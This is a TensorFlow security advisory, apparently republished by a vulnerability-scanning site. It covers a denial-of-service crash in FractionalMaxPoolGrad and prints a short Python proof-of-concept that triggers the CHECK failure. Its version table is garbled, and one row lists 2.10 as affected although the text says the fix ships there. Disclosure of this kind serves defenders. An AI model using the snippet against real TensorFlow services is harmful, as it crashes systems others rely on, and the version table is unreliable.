| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| tensorflow | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow-cpu | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow-gpu | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow | = 2.10≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
import tensorflow as tf
overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン